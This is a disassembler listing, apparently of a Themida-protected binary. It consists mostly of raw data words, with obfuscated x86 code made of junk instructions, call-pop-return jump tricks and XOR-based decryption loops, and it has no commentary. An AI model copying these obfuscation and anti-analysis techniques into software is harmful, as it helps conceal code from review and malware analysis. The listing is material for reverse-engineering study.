		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 64FC350h, 105587CDh,	81781947h, 0EDAA45E7h, 0ED853152h
		dd 830AE31Ch, 0E6D62ABDh, 840F000Ah, 45Eh, 21619D8Bh, 0B5FF0AE3h
		dd 0AE6D62Ah, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 16h,	89C35242h, 95FFE5CFh, 0AE33315h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 0B6C35141h, 444926FFh
		dd 1EB58B17h, 6A0AE6D6h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0C7AEC350h,	1000106h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 896DD224h, 0E300D585h, 3489500Ah, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0B257F987h, 0B5FFAD7Ah, 0AE6D62Ah, 0FF52C780h, 0E320BD95h
		dd 0A58D290Ah, 8B0AE311h
		dd 0E30039BDh, 1EB58B0Ah, 6A0AE6D6h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0E31CC357h
		dd 8A82A2BEh, 81322CA7h, 22E678DFh, 59858B69h, 6A0AE310h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0FCF7C351h, 89FC1A72h, 0C486h, 2D9D8B00h
		dd 8B0AE31Ah, 0E3147995h, 53006A0Ah, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 1F4CAE2Fh
		dd 0BFBDCCC2h, 91B5290Fh, 830AE310h, 6A04C2h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BF0F59C3h
		dd 205089DAh, 8DD9B70Fh, 0E6E8B385h, 53006A0Ah,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 86893D30h
		dd 0B8h, 0FCC8A60h, 58Eh, 0DB20B900h, 6A61783Ch, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 820F2638h, 6, 2C81BD03h, 0B5FF0AE3h,	0AE6D62Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 22C35646h, 9DBD8BF4h
		dd 0FF0AE300h, 0E31E7195h, 55006A0Ah, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 8D574AB3h
		dd 0BD89E3B5h, 0AE33069h, 2870F50h, 8B000000h, 243489FBh
		dd 0FFD8BF0Fh, 0E6D62AB5h, 53006A0Ah, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0ED9637C1h
		dd 623DAB63h, 95FF4D17h, 0AE32369h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 79C35747h, 6609D34Eh, 89F9F3BBh
		dd 0E305D18Dh, 0ADBD830Ah, 0AE317h, 5D840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 645213C3h, 0BF70C56Ah, 41CA1CB2h, 176D8D29h,	8B960AE3h
		dd 0FDB750FEh, 53006A96h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 89FA750Dh, 0E33319B5h
		dd 0CDD7810Ah, 0FF7B97D9h, 0E6D62AB5h, 958B600Ah, 0AE304CDh
		dd 95FF61F5h, 0AE30295h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 17h, 0B1C35242h, 0E927AC71h, 12h, 0ADB5CF59h
		dd 9FF160E8h, 0ED20A56Eh, 9F26BD7Dh, 11E83C0Dh,	0F9000000h
		dd 0EE2D55Eh, 9141DE2Fh, 40424191h, 73F78E9Ch, 0C0C78166h
		dd 0FE8B5F04h, 0D62AB5FFh, 0CB800AE6h, 0DD95FF6Ch, 6A0AE311h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 7D8EC352h, 442CC140h, 7DBD8348h, 20AE319h
		dd 63840Fh, 0F570000h, 8B5BDABFh, 0E31A6585h, 56006A0Ah
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 105B094Eh, 5E9E32Dh,	0DE000000h, 8D120AACh, 6A0000C6h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 54B9C355h, 820F1F2Dh, 5, 0B2EF8166h, 1D85C7AFh
		dd 0AE321h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 1EDDC351h, 0BB66817Ah
		dd 0BB668E30h, 0E2E91F6Bh, 6AFFFFF2h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 7233C350h
		dd 476893D7h, 0C3D84C61h, 1579BD89h, 0C18B0AE3h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 79C35545h, 0BD8B28B9h
		dd 0AE32BADh, 30E9h, 0A5FA3600h, 4, 0Ah	dup(0)
		dd 579E900h, 6A110000h,	0F684F9B1h, 7A0C4139h, 0C788CDBDh
		dd 43754802h, 25D5D288h, 18D215BBh, 0E1599225h,	68221FACh
		dd 0FEAC6715h, 0ADD68555h, 803BF77Fh, 3499595h,	596F42C8h
		dd 0A3E92C9Eh, 0B6EE268h, 0B6858542h, 62E82355h, 2E5ABF99h
		dd 4A7055F5h, 0FEDEAD8Dh, 30803385h, 147199F3h,	0E99373FFh
		dd 70197C2Eh, 0F98EC3B7h, 35461A00h, 0B0C3D00Ch, 0C02963CEh
		dd 0D7DE7CBDh, 6512F47Eh, 0F19BFEACh, 5B871436h, 7546DFA7h
		dd 12A71F5h, 0D446DFA7h, 8E50ED27h, 76D40DBAh, 660747h
		dd 49770000h, 5942C803h, 46DFAB2Ah, 71571B44h, 4776D0F4h
		dd 1FCh, 149A800h, 0AAC1EAB1h, 0E79446DFh, 3F521634h, 1306528Dh
		dd 0CBAEAC6Bh, 0E4D94186h, 9EF317D0h, 0DE2D2DEEh, 0F191CAFDh
		dd 0D00900D2h, 8E899144h, 66ABCD91h, 546B1094h,	243E57BCh
		dd 8DF51E71h, 23C846DFh, 70925CE9h, 0F8DD8D4Ah,	5BA317D0h
		dd 4C8735A8h, 0B20A7DCEh, 0FAF86FE5h, 4C7059B3h, 0A8B26D1Dh
		dd 14AF0A3h, 0EB93255Ch, 0C6725E17h, 9F586F02h,	8E3644B5h
		dd 0F961A6EBh, 0ADD6FF12h, 0FCAF46DEh, 24360109h, 5FFB3C41h
		dd 0C995A0ECh, 9D49739h, 73BDBCACh, 0ECA08170h,	0B164E281h
		dd 83C90CFEh, 928B5FC8h, 473BB9F6h, 0F2D70A98h,	0FB0E2DFCh
		dd 426FCFE1h, 0BA3EDC8Fh, 1874B3C7h, 0E04A8D31h, 1901FA8Dh
		dd 0CD32E632h, 5DB61E6Dh, 0B20EFFFBh, 2503AF66h, 47761088h
		dd 7880h, 23A8EC00h, 7A37F2E4h,	0DC1BA3A1h, 3E1ACD3Eh
		dd 0E872B5DBh, 406C1F5h, 3BDF18A1h, 55F53646h, 6117DB78h
		dd 0BF4F1330h, 391CCE09h, 0D3B65497h, 0CCBFFAEh, 0AFDCB159h
		dd 0C5F5E872h, 1DAD000Ah, 0E975EC22h, 0BB27D88Fh, 76D100ADh
		dd 7F0847h, 49740000h, 6346C407h, 277D9D5Ah, 0C3ECBF33h
		dd 9A46DFAAh, 25E2A8F1h, 43FAD625h, 3E790F9Fh, 422D73E4h
		dd 0B87225E3h, 50014970h, 1E3CEF28h, 6C95C65Ah,	4146DFABh
		dd 0DD7DBACCh, 4E51BB6Eh, 46DFAB22h, 0A1EBBACCh, 0A417E466h
		dd 7EB9C3A6h, 0A8B26D1Dh, 74C8735h, 411464CEh, 44D6A539h
		dd 0EA707DC6h, 0C1BBE437h, 699246DEh, 0F55F3D40h, 8BC5B8AEh
		dd 2FD8F072h, 25477676h, 1, 0C2054951h,	8EB7E478h, 6746DFABh
		dd 0DDB058B4h, 0DFD674AFh, 982AFC66h, 0CAF09B5Fh, 895C2723h
		dd 17406BCFh, 0EE46DF6Bh, 0FD77D33Dh, 7C2F0BFDh, 3CFC5CB8h
		dd 432624D7h, 0EDF27E39h, 0C8729BC0h, 0A04B3BFBh, 0FCC4356Dh
		dd 0A45A2109h, 0B6E81D6Ah, 0B095755Fh, 604BCF08h, 3BFC9F31h
		dd 63832F06h, 2F5C9E59h, 0A3C31F1h, 0B5157F61h,	6BEF2850h
		dd 81894276h, 35D599B6h, 3747CC87h, 3950F2EAh, 32E55893h
		dd 903AC378h, 6E2E4D95h, 8A000001h, 5F3C6536h, 9F203BFCh
		dd 3F4BB05Ah, 5F47703Bh, 6D1E3BFCh, 0A64E5EBAh,	0D586A4A2h
		dd 3CFCA815h, 12779378h, 98DAD66h, 0FCA63962h, 351F0C3Bh
		dd 8F487055h, 0A962168Bh, 41BECCA1h, 868CF2D9h,	0D3EE5CE5h
		dd 208C1F6h, 22561835h,	8E60C263h, 26E197FAh, 0FB3C4124h
		dd 66E55508h, 4D9535D9h, 113A61E5h, 0E43BFBBAh,	412BDD37h
		dd 5B000000h, 498235A8h, 0D41E7AC1h, 46353519h,	9DDA4187h
		dd 0B0B894BEh, 0CAF3B83Ch, 0A346DF14h, 0C28B9CF8h, 0DBCFE0D8h
		dd 58812A30h, 9C6E042h,	9C534E10h, 1EE7B4B6h, 774FE205h
		dd 0BE30D684h, 64000000h, 86A4A2A6h, 276D7902h,	0C14CACA4h
		dd 0DF2985AEh, 56B35846h, 9863E720h, 9FEFBCBCh,	263CFC10h
		dd 50FA3D43h, 9279A1EBh, 2B70F488h, 3BFC1102h, 0D314A6DBh
		dd 0C711C437h, 0BD6DA6D2h, 5C613058h, 0F1CA89Bh, 8B9AE491h
		dd 0A76932D8h, 0DF3BFC33h, 89EC6EA9h, 2BE492C7h, 0E169DC2Fh
		dd 1802FF8Ch, 0E14DFA33h, 0ED08D97h, 0A713CCFCh, 0FF7BCD8Dh
		dd 0FF32EB9Ah, 0B0688825h, 0D7236D16h, 14847684h, 0CDF01532h
		dd 547D2E0Ch, 2946D496h, 0F78B8F42h, 0D5A00084h, 0A5EF7CB8h
		dd 4FCB04B4h, 0EC91F446h, 8A54E12Bh, 33F5D397h,	0D37A66C0h
		dd 7AFE7C2Fh, 5EBA7507h, 0EC123F4Dh, 7D2DDE3Ch,	0A4A2A62Dh
		dd 0C1C7D586h, 0F5A63CF7h, 8F487055h, 19D2E6DBh, 378DAAF1h
		dd 0D87935ABh, 4F701516h, 216B4E8Ah, 0ABD134E6h, 0C2F7EA70h
		dd 202AED93h, 0A3E268DBh, 0D5DC2457h, 1C7055D1h, 49590530h
		dd 3F12C803h, 16C8528Dh, 3, 49E0C886h, 6C41C902h, 267E35Ch
		dd 3B9EBC75h, 0D2B75394h, 8CE169A2h, 0A61B3FF8h, 5336D415h
		dd 0F62E82Fh, 0B99A807Fh, 55E38953h, 203DE8BDh,	0EDC14D65h
		dd 77ED8107h, 100CA40h,	0EB835DEBh, 241C8704h, 1385685Ch
		dd 3C890000h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h
		dd 53241C89h, 343D8D68h, 0B9515B69h, 2DD35C3Bh,	4EDDE981h
		dd 0D1F7597Bh, 8F18149h, 2107DCDFh, 0EBC159CBh,	63E38104h
		dd 8107911Dh, 98D4E8EBh, 5BDF89F7h, 241C8B54h, 6804C483h
		dd 5C67h, 8F243C89h, 1C8B0843h,	0E3895324h, 4C381h, 0C3830000h
		dd 241C8704h, 2434FF5Ch, 4C4815Fh, 0E9000000h, 0FFFB4EEDh
		dd 0E9B35A4Ch, 0B827622Dh, 0AE8302Ah, 0E0FFC503h, 15A5468Dh
		dd 18776EAEh, 227D0182h, 1959611Eh, 445BE231h, 515997BBh
		dd 1782D75Dh, 2425CFFFh, 1E395187h, 7C6BD9B7h, 549523DDh
		dd 8864D4h, 136FC6F3h, 25CA2A18h, 5C91C746h, 1D3B94DFh
		dd 38E0B4C2h, 605330Ch,	70D89548h, 2FFD858Dh, 6A0AE3h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 4B3F77C3h, 398D89A4h, 900AE32Ch, 0EE960h, 0EA170000h
		dd 50579785h, 357576B0h, 0F6442289h, 50613AB4h,	0DE9h
		dd 79B86E00h, 0B47A0381h, 0C3A14D33h, 6090C260h, 57C88166h
		dd 61EDB2A1h, 800F006Ah, 6, 0AE5BD8Bh, 6A0AE3h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0F2C35242h, 11C202A0h
		dd 9D17B2E2h, 12840F1Bh, 0E9000000h, 0Dh, 4258BED9h, 0E5063731h
		dd 55F710h, 2B858D41h, 660AE833h, 2372CB81h, 8905C083h
		dd 0E3292595h, 1995090Ah, 500AE333h, 8C0Fh, 4890000h, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0D7EF3760h, 517CEEE6h, 0D3B4C781h, 8B5F1C77h, 0E332C59Dh
		dd 6A006A0Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 60A9C350h, 0E382E5A8h,	850F7E04h
		dd 3, 0E94EEF80h, 10h, 4FE0FD64h, 97F1E8A4h, 53730BE3h
		dd 0C9050FCFh, 9D2B006Ah, 0AE311E5h, 14E995FFh,	6A0AE3h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 43DA4FC3h, 0FBB595A2h, 20FD9D8Bh, 8D8D0AE3h,	0AE6D5CAh
		dd 2D01BD01h, 0D1FF0AE3h, 9399D8Bh, 0AE90AE3h, 69000000h
		dd 69E6283Dh, 449E608h,	69BD837Ch, 10AE322h, 5B850Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 6D5479C3h, 0DE978h, 6DAD0000h, 826ED237h, 0E571285Eh
		dd 6AC9A501h, 0F19D8B02h, 900AE308h, 0A880Fh, 8B600000h
		dd 850FC8h, 61000000h, 8D019050h, 0AE31B85h, 1E7195FFh
		dd 8B660AE3h, 0D0AE9D9h, 0E80000h, 5D000000h, 3335ED81h
		dd 6A0AE8h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 6AFBFFC3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 5B18C356h, 0A49B4E31h
		dd 0CCDB81F4h, 0F4D89CCh, 589h,	0B1CBBB00h, 858D2AD4h
		dd 0AE6C13Eh, 1179BD8Bh, 850F0AE3h, 2, 5390F7B3h, 48C0Fh
		dd 0BB660000h, 505B2808h, 8190DC8Ah, 0B5BCDDE3h, 35FF6454h
		dd 0
; ---------------------------------------------------------------------------
		mov	[ebp+0AE33351h], edi
		mov	large fs:0, esp
		jb	loc_5D58C4
		stc


loc_5D58C4:				; CODE XREF: Themida_:005D58BDj
		call	sub_5D58D9
		and	[edi], edx
		add	bl, [edi-30h]
		cmp	edi, [ebp+28DD284h]
		sub	eax, 82E6038Dh

; =============== S U B	R O U T	I N E =======================================



sub_5D58D9	proc near		; CODE XREF: Themida_:loc_5D58C4p
		mov	[ebp+0AE319D1h], ebx
		pop	ebx
		inc	dword ptr [ebp+0AE31C15h]
		push	0
		push	edx
		call	sub_5D58F1
		and	[edx-3Dh], bl
sub_5D58D9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D58F1	proc near		; CODE XREF: sub_5D58D9+10p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5D58F1	endp

; ---------------------------------------------------------------------------
		add	ebx, [esi-165DF0AAh]
		db	3Eh
		sbb	ecx, esi
		jbe	short loc_5D595F
		pop	edi


loc_5D590D:				; CODE XREF: Themida_:loc_5D651Cj
		push	0FFFFFFFFh
		push	0
		push	eax
		call	sub_5D591A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D591A	proc near		; CODE XREF: Themida_:005D5912p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5D591A	endp

; ---------------------------------------------------------------------------
		daa
		or	bx, 15DAh
		sub	[ebp+0AE315F5h], esi
		push	dword ptr [ebp+0AE321A1h]
		xor	di, 7281h
		call	dword ptr [ebp+0AE3007Dh]
		jmp	loc_5D5A74
; ---------------------------------------------------------------------------
		dd 0DD8A32B7h, 9D8B00B0h, 0AE33301h, 0E38070E6h
		db 3, 0E4h, 71h
; ---------------------------------------------------------------------------


loc_5D595F:				; CODE XREF: Themida_:005D590Aj
		jmp	loc_5D5977
; ---------------------------------------------------------------------------
		dd 8F6F9639h, 95296D2h,	1A064257h, 23F13C7Eh
		db 0B6h, 5Dh, 0Ch
; ---------------------------------------------------------------------------


loc_5D5977:				; CODE XREF: Themida_:loc_5D595Fj
		cmp	al, 61h
		jnb	loc_5D5A74
		mov	edi, esi
		mov	ebx, [ebp+0AE312E1h]
		movzx	ecx, al
		mov	ebx, [ebp+0AE332D9h]
		pusha
		mov	eax, [ebp+0AE31179h]
		call	near ptr loc_5D599E+4
		out	0B2h, eax	; Interrupt Controller #2, 8259A


loc_5D599E:				; CODE XREF: Themida_:005D5997p
		jmp	far ptr	7985h:8BD4E3D2h
; ---------------------------------------------------------------------------
		push	ds
		jecxz	short near ptr loc_5D59AF+3
		pop	ecx
		popa
		mov	edx, 6


loc_5D59AF:				; CODE XREF: Themida_:005D59A6j
		sub	di, 360Fh
		mov	eax, ecx
		mov	ebx, [ebp+0AE312DDh]
		shr	eax, 4
		jmp	loc_5D59D4
; ---------------------------------------------------------------------------
		dd 67D87023h, 760B38E2h, 707E062Eh, 3135ADh
; ---------------------------------------------------------------------------


loc_5D59D4:				; CODE XREF: Themida_:005D59BFj
		mul	dx
		xor	ebx, [ebp+0AE31C29h]
		sub	ecx, eax
		mov	edi, 5F505ADh
		mov	edx, ecx
		sbb	bx, 0DA95h
		jmp	loc_5D5A74
; ---------------------------------------------------------------------------
		mov	[ebp+0AE31E51h], ebx
		or	[ebp+0AE32E01h], edx
		mov	eax, [ebp+47554C50h]
		mov	[ebp+0AE31A75h], ecx
		add	eax, 7
		mov	ebx, esi
		add	eax, 0
		clc
		cmp	edx, eax
		jnb	loc_5D5A38
		jmp	loc_5D5A2E
; ---------------------------------------------------------------------------
		dw 0A4A4h
		dd 62F16D6Fh, 8CFA4283h, 4274E332h
; ---------------------------------------------------------------------------
		mov	ch, 42h


loc_5D5A2E:				; CODE XREF: Themida_:005D5A19j
		jmp	loc_5D5A74
; ---------------------------------------------------------------------------
		mov	edi, 64807C08h


loc_5D5A38:				; CODE XREF: Themida_:005D5A13j
		mov	ecx, [ebp-1]
		mov	[ebp+0AE30CF9h], ebx
		and	ecx, 1
		jz	loc_5D5A74
		pusha
		mov	esi, [ebp+0AE333D9h]
		jp	loc_5D5A60
		jle	$+6


loc_5D5A60:				; CODE XREF: Themida_:005D5A54j
		popa
		and	dword ptr [ebp-1], 0FFFFFFFEh
		mov	[ebp+47554C50h], edx
		cmc
		jmp	$+5


loc_5D5A74:				; CODE XREF: Themida_:005D5947j
					; Themida_:005D5979j ...
		lea	esi, [ebp+0AE7A71Fh]
		mov	[ebp+0AE31D65h], eax
		push	0
		mov	edi, [ebp+0AE31CFDh]
		call	dword ptr [ebp+0AE31CD1h]
		push	0
		push	ebp
		call	sub_5D5A99
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5A99	proc near		; CODE XREF: Themida_:005D5A91p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5D5A99	endp

; ---------------------------------------------------------------------------
		db 5Ah,	0F0h, 3Bh
		dd 0B9B6579Dh, 0F9A21D3Fh, 870Fh, 0BD8B0000h, 0AE3043Dh
		dd 0EF9B9h, 0EDBD8B00h,	830AE319h, 6AFCE1h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 52F8D0C3h
		dd 2EA6FC2Bh, 0F1BD8BFCh, 0B80AE32Bh, 0
; ---------------------------------------------------------------------------
		mov	edx, 0
		jg	loc_5D5B0D
		mov	ebx, [ebp+0AE32551h]


loc_5D5B0D:				; CODE XREF: Themida_:005D5B01j
					; Themida_:005D5B17j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5D5B0D
		jns	$+6
		push	0
		push	ecx
		call	sub_5D5B2A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5B2A	proc near		; CODE XREF: Themida_:005D5B22p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5D5B2A	endp

; ---------------------------------------------------------------------------
		dw 30C5h
		dd 0FEBF0F23h, 880Dh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0B93C863Eh, 33652915h
		dd 0E31BCD9Dh, 0FA8B660Ah, 1479958Bh, 8EBF0AE3h, 8B1ACD7Eh
		dd 0E306C98Dh, 50FE8A0Ah, 188BC28Bh, 188BC103h,	0E8D1C18Bh
		dd 188BC203h, 0D880F58h, 60000000h, 8B0Fh, 6ABE0000h, 612C1C69h
		dd 0D19D8B51h, 5B0AE308h, 1F61BD83h, 0F000AE3h,	3784h
		dd 0FAB70F00h, 0B8h, 1816BB00h,	8D8D12B6h, 0AE34E6Eh, 6AE1FFF8h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 7F01C355h, 110D128Ah, 69BD83h, 0F000AE3h
		dd 46684h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 665A6366h, 515DCF81h, 0DE9h, 31B65F00h
		dd 0D96AF0C3h, 791F8988h, 0BD8382CEh, 0AE30069h, 3F840F01h
		dd 6A000004h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0E967C355h, 12h, 0B50D8E52h, 7EB23363h
		dd 4CE6E584h, 93A1FDD7h, 0BD839EB2h, 0AE30069h,	0C9860F03h
		dd 6A000003h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 6629C356h, 0B95BE781h,	0EABB6660h
		dd 0B58950B0h, 0AE312A9h, 0D98C665Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 95C35242h, 0A6685C33h, 66D2FF42h
		dd 0BB04E180h, 0E73323Ah, 266DB589h, 0C90A0AE3h, 0F1840Fh
		dd 0C3810000h, 4D225655h, 0A9952957h, 5B0AE317h, 1FD1858Bh
		dd 85890AE3h, 0AE30A31h, 1E458533h, 50F90AE3h, 66240489h
		dd 0BF66DE8Bh, 6A2D43h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 90C35545h, 0CC7BE979h, 0CE82EE4h, 80000000h
		dd 0AF2F85F2h, 23504066h, 8B596D07h, 0E31B1D9Dh, 9D8B5B0Ah
		dd 0AE322CDh, 0EAB6EB68h, 81DE8AC8h, 4D142404h,	6A3734h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 77F967C3h, 8B24B3A7h, 0E30FE99Dh, 0DF81660Ah, 95FF8380h
		dd 0AE31A45h, 172DB529h, 85890AE3h, 0AE332B1h, 0D62A8589h
		dd 6A0AE6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 1AC02EC3h, 0D381ED28h, 762B5E48h,	1E3E9h
		dd 0D5850100h, 8B0AE30Fh, 0E6D62285h, 53006A0Ah, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 0C2C2AD97h, 66DA8B66h, 16AFC381h, 1800C7h, 8B660000h
		dd 26B58BD8h, 0F90AE6D6h, 25D1858Bh, 6A0AE3h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 256574C3h
		dd 8150CA23h, 9E58A2DFh, 6895F10h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 1BC35141h, 9BADA61Dh, 7BA9D0DDh
		dd 0D1858B8Ch, 660AE31Fh, 0DE41DB81h, 6A044689h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 93E2C350h, 4461CFC5h, 698D896Fh, 890AE303h, 0E32BED8Dh
		dd 8C0F500Ah, 0Eh, 820F5250h, 0
		dd 0FE8B310Fh, 3489585Ah, 50006A24h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 11858947h
		dd 0FF0AE323h, 0E6D622B5h, 52006A0Ah, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 820F2A7Fh
		dd 3, 68F9B70Fh, 51C36A33h, 3481FA8Bh, 0DC69CC24h, 50006A51h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0A8FF9800h, 23EBE16Ah, 0E3231DBDh, 2A858D0Ah, 530AE6D6h
		dd 5FD9B70Fh, 11E950h, 5DF00000h, 0BD162516h, 51569831h
		dd 62F2F7B7h, 89C23A06h, 6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0A09E05C3h, 14E8h, 0E1E51100h
		dd 0F09D6ACCh, 0DC55EBA4h, 2F884F14h, 53EB7AA8h, 5E987h
		dd 8C0F0000h, 5B45D931h, 1A4595FFh, 0B5890AE3h,	0AE30A5Dh
		dd 0C6C6BF61h, 85C71EA3h, 0AE30069h, 3,	9E9h, 0B28A1F00h
		dd 7E78CE0Fh, 0BD8363F2h, 0AE6D62Ah, 65840F00h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0EA81C355h, 0CEA08E4Fh, 11E98Bh, 45CD0000h
		dd 0E0281797h, 3411DCC0h, 0F59B0551h, 89BAE289h, 0E31F5D9Dh
		dd 3DE90Ah, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 140424h, 55450000h, 850F29C3h, 0
; ---------------------------------------------------------------------------


loc_5D604C:				; CODE XREF: Themida_:005D6063j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D604C
		jmp	short loc_5D609D
; ---------------------------------------------------------------------------


loc_5D6067:				; CODE XREF: Themida_:005D607Ej
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D6067
		jmp	short loc_5D609D
; ---------------------------------------------------------------------------


loc_5D6082:				; CODE XREF: Themida_:005D6099j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5D6082
		jmp	short $+2


loc_5D609D:				; CODE XREF: Themida_:005D6065j
					; Themida_:005D6080j
		mov	eax, eax
		mov	[ebp+0AE32C25h], edi
		or	[ebp+0AE31FBDh], esi
		cmp	dword ptr [ebp+0AE30069h], 3
		jnz	loc_5D651C
		push	0
		push	ecx
		call	sub_5D60C3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D60C3	proc near		; CODE XREF: Themida_:005D60BBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5D60C3	endp

; ---------------------------------------------------------------------------
		add	eax, 3A4880Eh
		das
		cmp	eax, 9D8B87DEh
		mov	ch, 5
		jecxz	short near ptr loc_5D60E9+3
		cmp	dword ptr [ebp+0AE6D62Ah], 0


loc_5D60E9:				; CODE XREF: Themida_:005D60E0j
		jz	loc_5D651C
		push	0
		push	ebp
		call	sub_5D60FA
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D60FA	proc near		; CODE XREF: Themida_:005D60F2p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5D60FA	endp

; ---------------------------------------------------------------------------
		dw 7FAFh
		dd 12880F68h, 0F000000h, 0C82h,	6E800h,	699C0000h, 61DCB056h
		dd 2AB5FF5Fh, 6A0AE6D6h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0DC1CC352h,	8166B72Dh
		dd 0FFCB75C7h, 0E3331595h, 0BE80Ah, 0DBA80000h,	0A4CF4256h
